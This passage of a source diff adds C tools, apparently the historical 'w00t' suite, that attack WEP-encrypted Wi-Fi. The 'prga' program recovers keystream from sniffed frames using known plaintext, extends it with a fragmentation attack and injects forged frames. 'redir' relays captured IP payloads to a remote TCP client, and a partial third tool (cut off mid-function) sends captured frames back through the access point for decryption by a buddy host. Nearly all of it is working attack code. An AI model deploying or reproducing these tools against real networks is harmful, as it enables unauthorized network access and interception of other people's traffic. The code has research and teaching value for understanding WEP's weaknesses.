RC4_set_key(&k, klen+3, seed);
len -= sizeof(*wh);
p += 4;
crc = crc32(crc, p, len - 4);
pcrc = (uLong*) (p+len-4);
*pcrc = crc;
RC4(&k, len, p, p);
}
int frame_type(struct ieee80211_frame *wh, int type, int stype)
{
if ((wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK) != type)
return 0;
if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) != stype)
return 0;
return 1;
}
void hexdump(void *b, int len)
{
unsigned char *p = (unsigned char*) b;
while (len--)
printf("%.2X ", *p++);
printf("\n");
}
int elapsed(struct timeval *past, struct timeval *now)
{
int el;
el = now->tv_sec - past->tv_sec;
assert(el >= 0);
if (el == 0) {
el = now->tv_usec - past->tv_usec;
} else {
el = (el - 1)*1000*1000;
el += 1000*1000-past->tv_usec;
el += now->tv_usec;
}
return el;
}
static int is_arp(struct ieee80211_frame *wh, int len)
{
/* XXX */
if (len > (sizeof(*wh) + 4 + 4 + 39))
return 0;
return 1;
}
char *known_pt(struct ieee80211_frame *wh, int *len)
{
static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
int arp;
arp = is_arp(wh, *len);
*len = 8;
if (arp)
return known_pt_arp;
else
return known_pt_ip;
}

View File

@ -0,0 +1,57 @@
/*-
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#ifndef __W00T_H__
#define __W00T_H__
#include <net80211/ieee80211.h>
#include <net80211/ieee80211_freebsd.h>
int str2mac(char *mac, char *str);
void mac2str(char *str, char *mac);
int open_tx(char *iface);
int open_rx(char *iface);
int open_rxtx(char *iface, int *rx, int *tx);
int inject(int fd, void *buf, int len);
int inject_params(int fd, void *buf, int len,
struct ieee80211_bpf_params *params);
int sniff(int fd, void *buf, int len);
void *get_wifi(void *buf, int *len);
short seqfn(unsigned short seq, unsigned short fn);
int send_ack(int fd, char *mac);
unsigned short seqno(struct ieee80211_frame *wh);
int open_tap(char *iface);
int set_iface_mac(char *iface, char *mac);
int str2wep(char *wep, int *len, char *str);
int wep_decrypt(struct ieee80211_frame *wh, int len, char *key, int klen);
void wep_encrypt(struct ieee80211_frame *wh, int len, char *key, int klen);
int frame_type(struct ieee80211_frame *wh, int type, int stype);
void hexdump(void *b, int len);
int elapsed(struct timeval *past, struct timeval *now);
char *known_pt(struct ieee80211_frame *wh, int *len);
#endif /* __W00T_H__ */

View File

@ -0,0 +1,7 @@
# $FreeBSD$
.include <../Makefile.inc>
PROG= prga
.include <bsd.prog.mk>

View File

@ -0,0 +1,664 @@
/*-
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#include <sys/endian.h>
#include <sys/time.h>
#include <sys/select.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <unistd.h>
#include <fcntl.h>
#include <assert.h>
#include <zlib.h>
#include "w00t.h"
static char *known_pt_arp = "\xAA\xAA\x03\x00\x00\x00\x08\x06";
static char *known_pt_ip = "\xAA\xAA\x03\x00\x00\x00\x08\x00";
static int known_pt_len = 8;
enum {
S_START = 0,
S_SEND_FRAG,
S_WAIT_ACK,
S_WAIT_RELAY
};
struct params {
int tx;
int rx;
char mac[6];
char ap[6];
char prga[2048];
int prga_len;
char iv[3];
char *fname;
struct timeval last;
char packet[2048];
int packet_len;
int state;
char data[2048];
char *data_ptr;
int data_len;
int data_try;
int mtu;
int seq;
int frag;
int tap;
};
void usage(char *p)
{
printf("Usage: %s <opts>\n"
"-h\thelp\n"
"-b\t<bssid>\n"
"-t\t<tap>\n"
, p);
exit(0);
}
void load_prga(struct params *p)
{
int fd;
int rd;
fd = open(p->fname, O_RDONLY);
if (fd == -1) {
p->prga_len = 0;
return;
}
rd = read(fd, p->iv, 3);
if (rd == -1)
err(1, "read()");
if (rd != 3) {
printf("Short read\n");
exit(1);
}
rd = read(fd, p->prga, sizeof(p->prga));
if (rd == -1)
err(1, "read()");
p->prga_len = rd;
printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
close(fd);
}
void save_prga(struct params *p)
{
int fd;
int rd;
fd = open(p->fname, O_WRONLY | O_CREAT, 0644);
if (fd == -1)
err(1, "open()");
rd = write(fd, p->iv, 3);
if (rd == -1)
err(1, "write()");
if (rd != 3) {
printf("Short write\n");
exit(1);
}
rd = write(fd, p->prga, p->prga_len);
if (rd == -1)
err(1, "write()");
if (rd != p->prga_len) {
printf("Wrote %d/%d\n", rd, p->prga_len);
exit(1);
}
close(fd);
printf("Got %d bytes of PRGA\n", p->prga_len);
}
int is_arp(struct ieee80211_frame *wh, int len)
{
/* XXX */
if (len > (sizeof(*wh) + 4 + 4 + 39))
return 0;
return 1;
}
void get_prga(struct params *p)
{
char buf[4096];
int rc;
struct ieee80211_frame *wh;
char *bssid;
char *ptr;
char *known_pt;
rc = sniff(p->rx, buf, sizeof(buf));
if (rc == -1)
err(1, "sniff()");
wh = get_wifi(buf, &rc);
if (!wh)
return;
if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
IEEE80211_FC0_SUBTYPE_DATA))
return;
if (is_arp(wh, rc))
known_pt = known_pt_arp;
else
known_pt = known_pt_ip;
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
bssid = wh->i_addr1;
else
bssid = wh->i_addr2;
if (memcmp(p->ap, bssid, 6) != 0)
return;
if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
printf("Packet not WEP!\n");
return;
}
ptr = (char*) (wh+1);
memcpy(p->iv, ptr, 3);
ptr += 4;
rc -= sizeof(wh) + 4;
assert(rc >= known_pt_len);
for (rc = 0; rc < known_pt_len; rc++) {
p->prga[rc] = known_pt[rc] ^ (*ptr);
ptr++;
}
p->prga_len = rc;
save_prga(p);
}
void start(struct params *p)
{
int len;
len = p->prga_len;
len -= 4;
assert(len > 0);
len *= 4;
if (len > p->mtu)
len = p->mtu;
p->data_len = len;
memset(p->data, 0, p->data_len);
memcpy(p->data, "\xaa\xaa\x03\x00\x00\x00\x08\x06", 8);
p->data_ptr = p->data;
p->data_try = 0;
p->seq++;
p->frag = 0;
p->state = S_SEND_FRAG;
}
void send_packet(struct params *p)
{
int rc;
struct ieee80211_frame *wh;
rc = inject(p->tx, p->packet, p->packet_len);
if (rc == -1)
err(1, "inject()");
if (rc != p->packet_len) {
printf("Wrote %d/%d\n", rc, p->packet_len);
exit(1);
}
p->data_try++;
wh = (struct ieee80211_frame*) p->packet;
wh->i_fc[1] |= IEEE80211_FC1_RETRY;
if (gettimeofday(&p->last, NULL) == -1)
err(1, "gettimeofday()");
}
void send_frag(struct params *p)
{
struct ieee80211_frame *wh;
int dlen, rem;
int last = 0;
short *seqp;
char *ptr;
uLong *pcrc;
uLong crc = crc32(0L, Z_NULL, 0);
int i;
memset(p->packet, 0, sizeof(p->packet));
wh = (struct ieee80211_frame*) p->packet;
/* calculate how much data we need to copy */
dlen = p->prga_len - 4;
rem = p->data_ptr - p->data;
rem = p->data_len - rem;
if (rem <= dlen) {
dlen = rem;
last = 1;
}
/* 802.11 */
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_WEP;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
if (!last)
wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
wh->i_dur[0] = 0x69;
wh->i_dur[1] = 0x00;
memcpy(wh->i_addr1, p->ap, 6);
memcpy(wh->i_addr2, p->mac, 6);
memset(wh->i_addr3, 0xff, 6);
seqp = (short*) wh->i_seq;
*seqp = seqfn(p->seq, p->frag);
p->frag++;
/* IV & data */
ptr = (char*) (wh+1);
memcpy(ptr, p->iv, 3);
ptr += 4;
memcpy(ptr, p->data_ptr, dlen);
/* crc */
crc = crc32(crc, ptr, dlen);
pcrc = (uLong*) (ptr+dlen);
*pcrc = crc;
/* wepify */
for (i = 0; i < dlen+4; i++)
ptr[i] = ptr[i] ^ p->prga[i];
/* prepare for next frag */
p->packet_len = sizeof(*wh) + 4 + dlen + 4;
p->data_ptr += dlen;
#if 0
printf("Sening %sfrag [%d/%d] [len=%d]\n", last ? "last " : "",
p->seq, p->frag, dlen);
#endif
if (last) {
p->data_ptr = p->data;
p->frag = 0;
p->seq++;
}
/* send it off */
send_packet(p);
p->state = S_WAIT_ACK;
}
void wait_ack(struct params *p)
{
struct timeval now;
int el;
int tout = 10*1000;
fd_set fds;
int rc;
char buf[4096];
struct ieee80211_frame *wh;
if (gettimeofday(&now, NULL) == -1)
err(1, "gettimeofday()");
/* check for timeout */
el = elapsed(&p->last, &now);
if (el >= tout) {
if (p->data_try >= 3) {
#if 0
printf("Re-sending whole lot\n");
#endif
p->state = S_START;
return;
}
#if 0
printf("Re-sending frag\n");
#endif
send_packet(p);
el = 0;
}
el = tout - el;
now.tv_sec = el/1000/1000;
now.tv_usec = el - now.tv_sec*1000*1000;
FD_ZERO(&fds);
FD_SET(p->rx, &fds);
if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
err(1, "select()");
if (!FD_ISSET(p->rx, &fds))
return;
/* grab ack */
rc = sniff(p->rx, buf, sizeof(buf));
if (rc == -1)
err(1, "sniff()");
wh = get_wifi(buf, &rc);
if (!wh)
return;
if (!frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK))
return;
if (memcmp(p->mac, wh->i_addr1, 6) != 0)
return;
/* wait for relay */
if (p->frag == 0) {
p->state = S_WAIT_RELAY;
if (gettimeofday(&p->last, NULL) == -1)
err(1, "gettimeofday()");
}
else
p->state = S_SEND_FRAG;
}
void wait_relay(struct params *p)
{
int tout = 20*1000;
struct timeval now;
int el;
fd_set fds;
int rc;
char buf[4096];
struct ieee80211_frame *wh;
char *ptr;
uLong crc = crc32(0L, Z_NULL, 0);
uLong *pcrc;
if (gettimeofday(&now, NULL) == -1)
err(1, "gettimeofday()");
el = elapsed(&p->last, &now);
if (el >= tout) {
#if 0
printf("No relay\n");
#endif
p->state = S_START;
return;
}
el = tout - el;
now.tv_sec = el/1000/1000;
now.tv_usec = el - now.tv_sec*1000*1000;
FD_ZERO(&fds);
FD_SET(p->rx, &fds);
if (select(p->rx+1, &fds, NULL, NULL, &now) == -1)
err(1, "select()");
if (!FD_ISSET(p->rx, &fds))
return;
/* get relay */
rc = sniff(p->rx, buf, sizeof(buf));
if (rc == -1)
err(1, "sniff()");
wh = get_wifi(buf, &rc);
if (!wh)
return;
if (!frame_type(wh, IEEE80211_FC0_TYPE_DATA,
IEEE80211_FC0_SUBTYPE_DATA))
return;
if (memcmp(wh->i_addr2, p->ap, 6) != 0)
return;
if (memcmp(wh->i_addr3, p->mac, 6) != 0)
return;
if (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) != 0)
return;
/* lends different due to padding? */
if ( (rc - sizeof(*wh) - 8) != p->data_len)
return;
/* grab new PRGA */
assert(p->data_len >= p->prga_len);
ptr = (char*) (wh+1);
memcpy(p->iv, ptr, 3);
ptr += 4;
crc = crc32(crc, p->data, p->data_len);
pcrc = (uLong*) &p->data[p->data_len]; /* XXX overflow ph33r */
*pcrc = crc;
for (rc = 0; rc < p->data_len+4; rc++)
p->prga[rc] = p->data[rc] ^ ptr[rc];
p->prga_len = p->data_len+4;
p->state = S_START;
save_prga(p);
}
void get_more_prga(struct params *p)
{
switch (p->state) {
case S_START:
start(p);
break;
case S_SEND_FRAG:
send_frag(p);
break;
case S_WAIT_ACK:
wait_ack(p);
break;
case S_WAIT_RELAY:
wait_relay(p);
break;
default:
printf("WTF %d\n", p->state);
abort();
break;
}
}
void read_tap(struct params *p)
{
int offset;
char *ptr;
struct ieee80211_frame *wh;
int rc;
char dst[6];
short *seq;
uLong *pcrc;
uLong crc = crc32(0L, Z_NULL, 0);
memset(p->packet, 0, sizeof(p->packet));
offset = sizeof(*wh) + 4 + 8 - 14;
rc = sizeof(p->packet) - offset;
ptr = &p->packet[offset];
rc = read(p->tap, ptr, rc);
if (rc == -1)
err(1, "read()");
memcpy(dst, ptr, sizeof(dst));
wh = (struct ieee80211_frame*) p->packet;
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_WEP;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
wh->i_dur[0] = 0x69;
memcpy(wh->i_addr1, p->ap, 6);
memcpy(wh->i_addr2, p->mac, 6);
memcpy(wh->i_addr3, dst, 6);
seq = (short*) wh->i_seq;
*seq = seqfn(p->seq++, 0);
/* data */
ptr = (char*) (wh+1);
memcpy(ptr, p->iv, 3);
ptr += 3;
*ptr++ = 0;
memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00", 6);
rc -= 14;
rc += 8;
crc = crc32(crc, ptr, rc);
pcrc = (uLong*) (ptr+rc);
*pcrc = crc;
rc += 4;
assert(p->prga_len >= rc);
/* wepify */
for (offset = 0; offset < rc; offset++)
ptr[offset] ^= p->prga[offset];
p->packet_len = sizeof(*wh) + 4 + rc;
p->data_try = 0;
send_packet(p);
p->state = S_WAIT_ACK;
}
/* XXX */
void wait_tap_ack(struct params *p)
{
p->data_try = 0;
p->frag = 1;
wait_ack(p);
if (p->state == S_SEND_FRAG) {
#if 0
printf("Got ACK\n");
#endif
p->state = S_START;
}
}
void transmit(struct params *p)
{
switch (p->state) {
case S_START:
read_tap(p);
break;
case S_WAIT_ACK:
wait_tap_ack(p);
break;
default:
printf("wtf %d\n", p->state);
abort();
break;
}
}
int main(int argc, char *argv[])
{
struct params p;
char *iface = "ath0";
char *tap = "tap0";
int ch;
memset(&p, 0, sizeof(p));
p.fname = "prga.log";
memcpy(p.mac, "\x00\x00\xde\xfa\xce\x0d", 6);
p.state = S_START;
p.mtu = 1500;
p.seq = getpid();
while ((ch = getopt(argc, argv, "hb:t:")) != -1) {
switch (ch) {
case 'b':
if (str2mac(p.ap, optarg) == -1) {
printf("Can't parse BSSID\n");
exit(1);
}
break;
case 't':
tap = optarg;
break;
case 'h':
default:
usage(argv[0]);
break;
}
}
/* init */
if ((p.rx = open_rx(iface)) == -1)
err(1, "open_rx()");
if ((p.tx = open_tx(iface)) == -1)
err(1, "open_tx()");
if ((p.tap = open_tap(tap)) == -1)
err(1, "open_tap()");
if (set_iface_mac(tap, p.mac) == -1)
err(1, "set_iface_mac()");
printf("Obtaining PRGA\n");
/* make sure we got some prga */
load_prga(&p);
while (p.prga_len == 0)
get_prga(&p);
/* lets grab some more */
while (p.prga_len < p.mtu)
get_more_prga(&p);
/* transmit */
p.state = S_START;
while (1)
transmit(&p);
exit(0);
}

View File

@ -0,0 +1,7 @@
# $FreeBSD$
.include <../Makefile.inc>
PROG= redir
.include <bsd.prog.mk>

View File

@ -0,0 +1,158 @@
/*-
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <err.h>
void hexdump(void *b, int len)
{
unsigned char *p = (unsigned char*) b;
while (len--)
printf("%.2X ", *p++);
printf("\n");
}
int handle_data(int dude, char *buf, int len)
{
struct ip *ih;
unsigned short id;
char tmp[4];
struct iovec iov[2];
struct msghdr mh;
ih = (struct ip*) buf;
/* XXX IP FRAGS */
/* filter */
if (ih->ip_p != 0)
return 0;
if (ih->ip_hl != 5)
return 0;
/* get info */
id = ih->ip_id;
len -= 20;
buf += 20;
printf("Got %d bytes [%d]\n", len, ntohs(id));
#if 0
hexdump(buf, len);
#endif
/* prepare packet */
memcpy(tmp, &id, 2);
id = htons(len);
memcpy(&tmp[2], &id, 2);
iov[0].iov_base = tmp;
iov[0].iov_len = 4;
iov[1].iov_base = buf;
iov[1].iov_len = len;
memset(&mh, 0, sizeof(mh));
mh.msg_iov = iov;
mh.msg_iovlen = sizeof(iov)/sizeof(struct iovec);
/* write */
if (sendmsg(dude, &mh, 0) != (4 + len))
return -1;
return 0;
}
void handle_dude(int dude, int raw)
{
char buf[4096];
int rd;
while (1) {
rd = recv(raw, buf, sizeof(buf), 0);
if (rd == -1)
err(1, "recv()");
if (handle_data(dude, buf, rd) == -1)
return;
}
}
void hand(int s)
{
printf("sigpipe\n");
}
int main(int argc, char *argv[])
{
int s, dude;
struct sockaddr_in s_in;
int len;
int raw;
memset(&s_in, 0, sizeof(&s_in));
s_in.sin_family = PF_INET;
s_in.sin_port = htons(666);
s_in.sin_addr.s_addr = INADDR_ANY;
if ((raw = socket(PF_INET, SOCK_RAW, 0)) == -1)
err(1, "socket()");
if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
err(1, "socket()");
if (bind(s, (struct sockaddr*)&s_in, sizeof(s_in)) == -1)
err(1, "bind()");
if (listen(s, 5) == -1)
err(1, "listen()");
if (signal(SIGPIPE, hand) == SIG_ERR)
err(1, "signal()");
while (1) {
len = sizeof(s_in);
dude = accept(s, (struct sockaddr*)&s_in, &len);
if (dude == -1)
err(1, "accept()");
printf("Got dude %s\n", inet_ntoa(s_in.sin_addr));
handle_dude(dude, raw);
printf("Done\n");
}
}

View File

@ -0,0 +1,709 @@
/*-
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* $FreeBSD$
*/
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <assert.h>
#include <zlib.h>
#include "w00t.h"
enum {
S_START = 0,
S_WAIT_ACK,
S_WAIT_BUDDY
};
struct queue {
struct ieee80211_frame *wh;
int len;
int id;
char *buf;
int live;
struct queue *next;
};
struct params {
int rx;
int tx;
int s;
int port;
int tap;
char mac[6];
char ap[6];
char rtr[6];
struct in_addr src;
struct in_addr dst;
char prga[2048];
int prga_len;
char iv[3];
char *fname;
int state;
struct queue *q;
char packet[2048];
int packet_len;
struct timeval last;
int id;
int data_try;
int seq;
int frag;
char buddy_data[2048];
int buddy_got;
};
void load_prga(struct params *p)
{
int fd;
int rd;
fd = open(p->fname, O_RDONLY);
if (fd == -1) {
p->prga_len = 0;
return;
}
rd = read(fd, p->iv, 3);
if (rd == -1)
err(1, "read()");
if (rd != 3) {
printf("Short read\n");
exit(1);
}
rd = read(fd, p->prga, sizeof(p->prga));
if (rd == -1)
err(1, "read()");
p->prga_len = rd;
printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
close(fd);
}
int wanted(struct params *p, struct ieee80211_frame *wh, int len)
{
char *bssid, *sa;
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
bssid = wh->i_addr1;
sa = wh->i_addr2;
}
else {
bssid = wh->i_addr2;
sa = wh->i_addr3;
}
if (memcmp(bssid, p->ap, 6) != 0)
return 0;
if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
printf("Got non WEP packet...\n");
return 0;
}
/* my own shit */
if (memcmp(p->mac, sa, 6) == 0)
return 0;
return 1;
}
void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
{
struct queue *q = p->q;
int qlen = 0;
char *ret = NULL;
struct queue *last = NULL;
/* find a slot */
while (q) {
if (q->live)
qlen++;
else {
/* recycle */
ret = q->buf;
break;
}
last = q;
q = q->next;
}
/* need to create slot */
if (!q) {
q = (struct queue*) malloc(sizeof(*q));
if (!q)
err(1, "malloc()");
memset(q, 0, sizeof(*q));
/* insert */
if (!p->q)
p->q = q;
else {
assert(last);
last->next = q;
}
}
q->live = 1;
q->buf = *buf;
q->len = len;
q->wh = wh;
q->id = p->id++;
qlen++;
if (qlen > 5)
printf("Enque. Size: %d\n", qlen);
*buf = ret;
}
/********** RIPPED
************/
unsigned short in_cksum (unsigned short *ptr, int nbytes) {
register long sum;
u_short oddbyte;
register u_short answer;
sum = 0;
while (nbytes > 1)
{
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1)
{
oddbyte = 0;
*((u_char *) & oddbyte) = *(u_char *) ptr;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return (answer);
}
/**************
************/
void send_packet(struct params *p)
{
int rc;
struct ieee80211_frame *wh;
rc = inject(p->tx, p->packet, p->packet_len);
if (rc == -1)
err(1, "inject()");
if (rc != p->packet_len) {
printf("Wrote %d/%d\n", rc, p->packet_len);
exit(1);
}
p->data_try++;
wh = (struct ieee80211_frame*) p->packet;
wh->i_fc[1] |= IEEE80211_FC1_RETRY;
if (gettimeofday(&p->last, NULL) == -1)
err(1, "gettimeofday()");
}
void send_header(struct params *p, struct queue *q)
{
struct ieee80211_frame *wh;
short *pseq;
char *ptr;
struct ip *ih;
int len, i;
uLong crc = crc32(0L, Z_NULL, 0);
uLong *pcrc;
/* 802.11 */
memset(p->packet, 0, sizeof(p->packet));
wh = (struct ieee80211_frame *) p->packet;
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
wh->i_fc[1] |= IEEE80211_FC1_WEP;
wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
wh->i_dur[0] = 0x69;
memcpy(wh->i_addr1, p->ap, 6);
memcpy(wh->i_addr2, p->mac, 6);
memcpy(wh->i_addr3, p->rtr, 6);
pseq = (short*) wh->i_seq;
p->frag = 0;
p->seq++;
*pseq = seqfn(p->seq, p->frag++);
/* IV */
ptr = (char*) (wh+1);
memcpy(ptr, p->iv, 3);
ptr += 4;
/* LLC/SNAP */
memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
/* IP */
ih = (struct ip*) (ptr+8);
ih->ip_v = 4;
ih->ip_hl = 5;
len = q->len - sizeof(*wh) - 4 - 4 + 20;
ih->ip_len = htons(len);
ih->ip_id = htons(q->id);
ih->ip_ttl = 69;
ih->ip_p = 0;
ih->ip_src.s_addr = p->src.s_addr;
ih->ip_dst.s_addr = p->dst.s_addr;
ih->ip_sum = in_cksum((unsigned short*)ih, 20);
/* ICV */
len = 8 + 20;
crc = crc32(crc, ptr, len);
pcrc = (uLong*) (ptr+len);
*pcrc = crc;
/* wepify */
for (i = 0; i < len + 4; i++)
ptr[i] ^= p->prga[i];
p->packet_len = sizeof(*wh) + 4 + len + 4;
p->data_try = 0;
send_packet(p);
}
void send_queue(struct params *p)
{
struct queue *q = p->q;
assert(q);
assert(q->live);
send_header(p, q);
p->state = S_WAIT_ACK;
}
void send_data(struct params *p)
{
struct ieee80211_frame *wh;
short *seq;
struct queue *q = p->q;
char *dst, *src;
int len;
assert(q);
/* 802.11 */
memset(p->packet, 0, sizeof(p->packet));
wh = (struct ieee80211_frame*) p->packet;
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
wh->i_fc[1] |= IEEE80211_FC1_WEP;
wh->i_dur[0] = 0x69;
memcpy(wh->i_addr1, p->ap, 6);
memcpy(wh->i_addr2, p->mac, 6);
memcpy(wh->i_addr3, p->rtr, 6);
seq = (short*) wh->i_seq;
*seq = seqfn(p->seq, p->frag++);
/* data */
dst = (char*) (wh+1);
src = (char*) (q->wh+1);
len = q->len - sizeof(*wh);
memcpy(dst, src, len);
p->packet_len = sizeof(*wh) + len;
p->data_try = 0;
send_packet(p);
}
void got_ack(struct params *p)
{
switch (p->frag) {
case 1:
send_data(p);
break;
case 2:
p->state = S_WAIT_BUDDY;
